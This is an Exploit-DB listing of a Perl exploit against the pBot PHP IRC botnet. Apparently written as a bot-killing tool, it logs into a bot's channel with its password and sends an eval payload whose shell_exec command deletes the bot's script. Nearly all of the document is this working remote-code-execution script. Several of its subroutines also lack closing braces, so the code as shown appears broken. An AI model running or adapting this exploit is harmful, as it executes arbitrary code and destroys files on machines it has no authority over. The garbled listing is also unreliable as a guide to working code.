pBot – Remote Code Execution

Exploit Database
112 阅读

作者： bwall

日期： 2012-08-01
类别：
- remote
平台：
- php
来源：https://www.exploit-db.com/exploits/20168/

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#!/usr/bin/perl

# Exploit Title: pBot Remote Code Execution ("*" hostauth)

# Date: 31.07.2012

# Exploit Author: @bwallHatesTwits

# Software Link: https://www.firebwall.com/decoding/read.php?u=620d21fd31b87046e94975e03fdafa8a (decoded from attempted attack)

# Version: Various versions

# Tested on: Linux 3.2

use IO::Socket;

use IO::Select;

use IO::Socket::INET;

use Socket;

my $nickname = "BotSlayer";

my $ident = "BotSlayer";

my $fullname = "BotSlayer";

$sel_client = IO::Select->new();

#configuration values from the bot source

$ircserver = "localhost"; #"server"

$ircserverpass = ""; #"pass"

my $ircport = "6667"; #"port"

#if "key" is set, then add a space and the password to the chan name

my @channels = ("#anonbxu"); #"chan" and "chan2"

$botPass = "hello"; #"password"

$botTrigger = "."; #"trigger"

#hostauth must be "*"

$loginCMD = "user"; #usually user or login

#payload - PHP code to run

#This version deletes the bots originating script, and dies

$phpEval = "shell_exec(\"rm -f \".\$_SERVER['SCRIPT_NAME']);exit();";

$channelCount = scalar(@channels);

sub onJoin

{

my $channel = shift;

$channel = substr($channel, 1);

print "Joined $channel\n";

say($channel, $botTrigger.$loginCMD." $botPass");

sleep(1);

say($channel, $botTrigger."eval \@BallastSec ".$phpEval);

print "Payload delivered\n";

tryQuit();

}

sub tryQuit

{

$channelCount--;

if($channelCount == 0)

{

quit("whomp wha");

}

sub sendraw

{

if ($#_ == '1')

{

my $socket = $_[0];

print $socket "$_[1]\n";

}

else

{

print $IRC_cur_socket "$_[0]\n";

}

sub conn

{

my $mynick = $_[0];

my $ircserver_con = $_[1];

my $ircport_con = $_[2];

my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);

if (defined($IRC_socket))

{

$IRC_cur_socket = $IRC_socket;

$IRC_socket->autoflush(1);

$sel_client->add($IRC_socket);

$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";

$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";

$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;

$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;

if($ircserverpass != "")

{

sendraw("PASS ".$ircserverpass);

}

sendraw("NICK ".$mynick);

sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");

sleep 1;

}

sub parse

{

my $servarg = shift;

print $servarg."\n";

if ($servarg =~ /^PING \:(.*)/)

{

sendraw("PONG :$1");

}

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) JOIN (.+)/)

{

my $channel = $4;

onJoin($channel);

}

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/)

{

my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;

if ($args =~ /^\001VERSION\001$/)

{

notice("$pn", "\001VERSION BotSlayer by Ballast Security\001");

}

if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ )

{

my $natrix = $1;

my $arg = $2;

}

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i)

{

if (lc($1) eq lc($mynick))

{

$mynick=$4;

$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;

}

elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i)

{

$mynick = $2;

$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;

$irc_servers{$IRC_cur_socket}{'nome'} = "$1";

foreach(@channels)

{

sendraw("JOIN $_");

}

my $line_temp;

while(1)

{

while (!(keys(%irc_servers)))

{

conn($nickname, $ircserver, $ircport);

}

delete($irc_servers{''}) if (defined($irc_servers{''}));

my @ready = $sel_client->can_read(0);

next unless(@ready);

foreach $fh (@ready)

{

$IRC_cur_socket = $fh;

$mynick = $irc_servers{$IRC_cur_socket}{'nick'};

$nread = sysread($fh, $msg, 4096);

if ($nread == 0) {

$sel_client->remove($fh);

$fh->close;

delete($irc_servers{$fh});

}

@lines = split (/\n/, $msg);

$msg =~ s/\r\n$//;

for(my $c=0; $c<= $#lines; $c++)

{

$line = $lines[$c];

$line=$line_temp.$line if ($line_temp);

$line_temp='';

$line =~ s/\r$//;

parse("$line");

}

sub say

{

return unless $#_ == 1;

sendraw("PRIVMSG $_[0] :$_[1]");

}

sub notice

{

return unless $#_ == 1;

sendraw("NOTICE $_[0] :$_[1]");

}

sub join

{

sendraw("JOIN $_[0]");

}

sub part

{

sendraw("PART $_[0]");

}

sub quit

{

sendraw("QUIT :$_[0]");

exit;

}